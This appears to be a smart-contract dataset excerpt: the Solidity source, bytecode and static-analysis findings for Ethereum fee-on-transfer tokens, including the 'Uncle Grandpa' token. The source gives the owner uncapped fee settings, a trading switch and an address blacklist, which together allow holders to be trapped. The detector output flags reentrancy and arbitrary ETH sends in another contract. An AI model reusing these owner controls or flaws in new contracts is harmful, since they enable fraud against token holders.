maxTxn; } function setMaxWalletAmount(uint256 maxToken) public onlyOwner { _maxWalletAmount = maxToken; } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106101185760003560e01c806370a08231116100a0578063a9059cbb11610064578063a9059cbb1461031f578063c3c8cd801461033f578063c9567bf914610354578063dd62ed3e14610369578063ec28438a146103af57600080fd5b806370a0823114610274578063715018a6146102945780638da5cb5b146102a957806395d89b41146102d15780639c0db5f3146102ff57600080fd5b806323b872dd116100e757806323b872dd146101e357806327a14fc214610203578063313ce567146102235780635932ead11461023f5780636fc3eaec1461025f57600080fd5b806306fdde0314610124578063095ea7b31461016e578063105222f91461019e57806318160ddd146101c057600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600f81526e43727970746f204b696e6720496e7560881b60208201525b6040516101659190611c12565b60405180910390f35b34801561017a57600080fd5b5061018e610189366004611a91565b6103cf565b6040519015158152602001610165565b3480156101aa57600080fd5b506101be6101b9366004611abc565b6103e6565b005b3480156101cc57600080fd5b506101d5610493565b604051908152602001610165565b3480156101ef57600080fd5b5061018e6101fe366004611a51565b6104b7565b34801561020f57600080fd5b506101be61021e366004611bcd565b610520565b34801561022f57600080fd5b5060405160098152602001610165565b34801561024b57600080fd5b506101be61025a366004611b95565b61054f565b34801561026b57600080fd5b506101be610597565b34801561028057600080fd5b506101d561028f3660046119e1565b6105a4565b3480156102a057600080fd5b506101be6105c6565b3480156102b557600080fd5b506000546040516001600160a01b039091168152602001610165565b3480156102dd57600080fd5b50604080518082019091526005815264434b494e4760d81b6020820152610158565b34801561030b57600080fd5b506101be61031a366004611abc565b61063a565b34801561032b57600080fd5b5061018e61033a366004611a91565b6106d9565b34801561034b57600080fd5b506101be6106e6565b34801561036057600080fd5b506101be6106fc565b34801561037557600080fd5b506101d5610384366004611a19565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156103bb57600080fd5b506101be6103ca366004611bcd565b610b14565b60006103dc338484610b43565b5060015b92915050565b6000546001600160a01b031633146104195760405162461bcd60e51b815260040161041090611cad565b60405180910390fd5b60005b825181101561048e57816007600085848151811061044a57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061048681611eae565b91505061041c565b505050565b60006104a16009600a611dcd565b6104b29066038d7ea4c68000611e78565b905090565b60006104c4848484610c68565b610516843361051185604051806060016040528060288152602001611f19602891396001600160a01b038a166000908152600660209081526040808320338452909152902054919061116b565b610b43565b5060019392505050565b6000546001600160a01b0316331461054a5760405162461bcd60e51b815260040161041090611cad565b600b55565b6000546001600160a01b031633146105795760405162461bcd60e51b815260040161041090611cad565b60118054911515600160b81b0260ff60b81b19909216919091179055565b476105a1816111a5565b50565b6001600160a01b0381166000908152600460205260408120546103e09061122a565b6000546001600160a01b031633146105f05760405162461bcd60e51b815260040161041090611cad565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106645760405162461bcd60e51b815260040161041090611cad565b60005b825181101561048e57816008600085848151811061069557634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806106d181611eae565b915050610667565b60006103dc338484610c68565b60006106f1306105a4565b90506105a1816112ae565b6000546001600160a01b031633146107265760405162461bcd60e51b815260040161041090611cad565b601154600160a01b900460ff16156107805760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610410565b600280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107cb30826107ba6009600a611dcd565b6105119066038d7ea4c68000611e78565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561080457600080fd5b505afa158015610818573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061083c91906119fd565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561088457600080fd5b505afa158015610898573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108bc91906119fd565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561090457600080fd5b505af1158015610918573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061093c91906119fd565b601180546001600160a01b0319166001600160a01b039283161790556002541663f305d719473061096c816105a4565b6000806109816000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b1580156109e457600080fd5b505af11580156109f8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a1d9190611be5565b50506011805461ffff60b01b191661010160b01b17905550610a416009600a611dcd565b610a519065048c27395000611e78565b600a908155610a6290600990611dcd565b610a72906512309ce54000611e78565b600b5560118054600160a01b60ff60a01b1982161790915560025460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610ad857600080fd5b505af1158015610aec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b109190611bb1565b5050565b6000546001600160a01b03163314610b3e5760405162461bcd60e51b815260040161041090611cad565b600a55565b6001600160a01b038316610ba55760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610410565b6001600160a01b038216610c065760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610410565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610ccc5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610410565b6001600160a01b038216610d2e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610410565b60008111610d905760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610410565b6003600d556007600e556000546001600160a01b03848116911614801590610dc657506000546001600160a01b03838116911614155b1561110e576001600160a01b03831660009081526008602052604090205460ff16158015610e0d57506001600160a01b03821660009081526008602052604090205460ff16155b610e1657600080fd5b6011546001600160a01b038481169116148015610e4157506002546001600160a01b03838116911614155b8015610e6657506001600160a01b03821660009081526007602052604090205460ff16155b8015610e7b5750601154600160b81b900460ff165b15610fba57601154600160a01b900460ff16610ed95760405162461bcd60e51b815260206004820152601b60248201527f54726164696e67206973206e6f7420616c6c6f776564207965742e00000000006044820152606401610410565b600a54811115610efb5760405162461bcd60e51b815260040161041090611c65565b6000610f06836105a4565b600b54909150610f168383611d52565b1115610f705760405162461bcd60e51b8152602060048201526024808201527f45786365656473206d6178696d756d2077616c6c657420746f6b656e20616d6f6044820152633ab73a1760e11b6064820152608401610410565b6001600160a01b0383166000908152600360205260409020544211610f9457600080fd5b610f9f42601e611d52565b6001600160a01b038416600090815260036020526040902055505b6011546001600160a01b038381169116148015610fe557506002546001600160a01b03848116911614155b801561100a57506001600160a01b03831660009081526007602052604090205460ff16155b1561109557601154600160a01b900460ff166110685760405162461bcd60e51b815260206004820152601b60248201527f54726164696e67206973206e6f7420616c6c6f776564207965742e00000000006044820152606401610410565b600a5481111561108a5760405162461bcd60e51b815260040161041090611c65565b6003600d55600c600e555b60006110a0306105a4565b601154909150600160a81b900460ff161580156110cb57506011546001600160a01b03858116911614155b80156110e05750601154600160b01b900460ff165b80156110ec5750600081115b1561110c576110fa816112ae565b47801561110a5761110a476111a5565b505b505b6001600160a01b03831660009081526007602052604090205460019060ff168061115057506001600160a01b03831660009081526007602052604090205460ff165b15611159575060005b61116584848484611453565b50505050565b6000818484111561118f5760405162461bcd60e51b81526004016104109190611c12565b50600061119c8486611e97565b95945050505050565b600f546001600160a01b03166108fc6111bf836002611474565b6040518115909202916000818181858888f193505050501580156111e7573d6000803e3d6000fd5b506010546001600160a01b03166108fc611202836002611474565b6040518115909202916000818181858888f19350505050158015610b10573d6000803e3d6000fd5b60006009548211156112915760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610410565b600061129b6114b6565b90506112a78382611474565b9392505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061130457634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561135857600080fd5b505afa15801561136c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061139091906119fd565b816001815181106113b157634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526002546113d79130911684610b43565b60025460405163791ac94760e01b81526001600160a01b039091169063791ac94790611410908590600090869030904290600401611ce2565b600060405180830381600087803b15801561142a57600080fd5b505af115801561143e573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b8015611469576114648484846114d9565b611165565b6111658484846115d0565b60006112a783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611676565b60008060006114c36116a4565b90925090506114d28282611474565b9250505090565b6000806000806000806114eb87611736565b6001600160a01b038f16600090815260046020526040902054959b5093995091975095509350915061151d9087611793565b6001600160a01b03808b1660009081526004602052604080822093909355908a168152205461154c90866117d5565b6001600160a01b03891660009081526004602052604090205561156e81611834565b611578848361187e565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516115bd91815260200190565b60405180910390a3505050505050505050565b6001600160a01b0383166000908152600460205260409020546115f39082611793565b6001600160a01b03808516600090815260046020526040808220939093559084168152205461162290826117d5565b6001600160a01b0380841660008181526004602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c5b9085815260200190565b600081836116975760405162461bcd60e51b81526004016104109190611c12565b50600061119c8486611d6a565b6000806000600954905060006009600a6116be9190611dcd565b6116cf9066038d7ea4c68000611e78565b90506116fa6116e06009600a611dcd565b6116f19066038d7ea4c68000611e78565b60095490611474565b82101561172d576009546009600a6117129190611dcd565b6117239066038d7ea4c68000611e78565b9350935050509091565b90939092509050565b60008060008060008060008060006117538a600d54600e546118a2565b92509250925060006117636114b6565b905060008060006117768e8787876118f7565b919e509c509a509598509396509194505050505091939550919395565b60006112a783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061116b565b6000806117e28385611d52565b9050838110156112a75760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610410565b600061183e6114b6565b9050600061184c8383611947565b3060009081526004602052604090205490915061186990826117d5565b30600090815260046020526040902055505050565b60095461188b9083611793565b600955600c5461189b90826117d5565b600c555050565b60008080806118bc60646118b68989611947565b90611474565b905060006118cf60646118b68a89611947565b905060006118e7826118e18b86611793565b90611793565b9992985090965090945050505050565b60008080806119068886611947565b905060006119148887611947565b905060006119228888611947565b90506000611934826118e18686611793565b939b939a50919850919650505050505050565b600082611956575060006103e0565b60006119628385611e78565b90508261196f8583611d6a565b146112a75760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610410565b80356119d181611ef5565b919050565b80356119d181611f0a565b6000602082840312156119f2578081fd5b81356112a781611ef5565b600060208284031215611a0e578081fd5b81516112a781611ef5565b60008060408385031215611a2b578081fd5b8235611a3681611ef5565b91506020830135611a4681611ef5565b809150509250929050565b600080600060608486031215611a65578081fd5b8335611a7081611ef5565b92506020840135611a8081611ef5565b929592945050506040919091013590565b60008060408385031215611aa3578182fd5b8235611aae81611ef5565b946020939093013593505050565b60008060408385031215611ace578182fd5b823567ffffffffffffffff80821115611ae5578384fd5b818501915085601f830112611af8578384fd5b8135602082821115611b0c57611b0c611edf565b8160051b604051601f19603f83011681018181108682111715611b3157611b31611edf565b604052838152828101945085830182870184018b1015611b4f578889fd5b8896505b84871015611b7857611b64816119c6565b865260019690960195948301948301611b53565b509650611b8890508782016119d6565b9450505050509250929050565b600060208284031215611ba6578081fd5b81356112a781611f0a565b600060208284031215611bc2578081fd5b81516112a781611f0a565b600060208284031215611bde578081fd5b5035919050565b600080600060608486031215611bf9578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b81811015611c3e57858101830151858201604001528201611c22565b81811115611c4f5783604083870101525b50601f01601f1916929092016040019392505050565b60208082526028908201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546040820152673c20b6b7bab73a1760c11b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611d315784516001600160a01b031683529383019391830191600101611d0c565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611d6557611d65611ec9565b500190565b600082611d8557634e487b7160e01b81526012600452602481fd5b500490565b600181815b80851115611dc5578160001904821115611dab57611dab611ec9565b80851615611db857918102915b93841c9390800290611d8f565b509250929050565b60006112a760ff841683600082611de6575060016103e0565b81611df3575060006103e0565b8160018114611e095760028114611e1357611e2f565b60019150506103e0565b60ff841115611e2457611e24611ec9565b50506001821b6103e0565b5060208310610133831016604e8410600b8410161715611e52575081810a6103e0565b611e5c8383611d8a565b8060001904821115611e7057611e70611ec9565b029392505050565b6000816000190483118215151615611e9257611e92611ec9565b500290565b600082821015611ea957611ea9611ec9565b500390565b6000600019821415611ec257611ec2611ec9565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146105a157600080fd5b80151581146105a157600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ff6dd33a3dc42825bab642b10f97ecef88d979dc7e3270d7309d63bbca3df0f964736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
3,054
0xea1d3a367ed83eb4d1fed2161380d311642083ae
/** *Submitted for verification at Etherscan.io on 2022-04-20 */ /** *Submitted for verification at Etherscan.io on 2022-04-14 */ // SPDX-License-Identifier: UNLICENSED /* _ _ | | | | _ _ _ __ ___| | ___ __ _ _ __ __ _ _ __ __| |_ __ __ _ | | | | '_ \ / __| |/ _ \/ _` | '__/ _` | '_ \ / _` | '_ \ / _` | | |_| | | | | (__| | __/ (_| | | | (_| | | | | (_| | |_) | (_| | \__,_|_| |_|\___|_|\___|\__, |_| \__,_|_| |_|\__,_| .__/ \__,_| __/ | | | |___/ |_| unclegrandpa.net tg.me/unclegrandpaeth twitter.com/unclegrandpaeth tokenomics: 8%(3% marketing 3%team 2%rfi(redistribution to holders)) */ pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract unclegrandpa is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Uncle Grandpa"; string private constant _symbol = "UNCLEGRANDPA"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; //Buy Fee uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 6; //Sell Fee uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 6; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping(address => uint256) private cooldown; address payable private _developmentAddress = payable(0xF8EFD4049c6F8195ed86cE383B073CF8864db4bD); address payable private _marketingAddress = payable(0xb3a6A944E3922BE191Df3F96310179794228aABa); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 10000 * 10**9; //1% uint256 public _maxWalletSize = 50000 * 10**9; //5% uint256 public _swapTokensAtAmount = 4000 * 10**9; //.4% event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _developmentAddress.transfer(amount.div(2)); _marketingAddress.transfer(amount.div(2)); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set MAx transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f2f565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613378565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e9b565b610859565b6040516102599190613342565b60405180910390f35b34801561026e57600080fd5b50610277610877565b604051610284919061335d565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e4c565b6108ac565b6040516102ec9190613342565b60405180910390f35b34801561030157600080fd5b5061030a610985565b604051610317919061355a565b60405180910390f35b34801561032c576000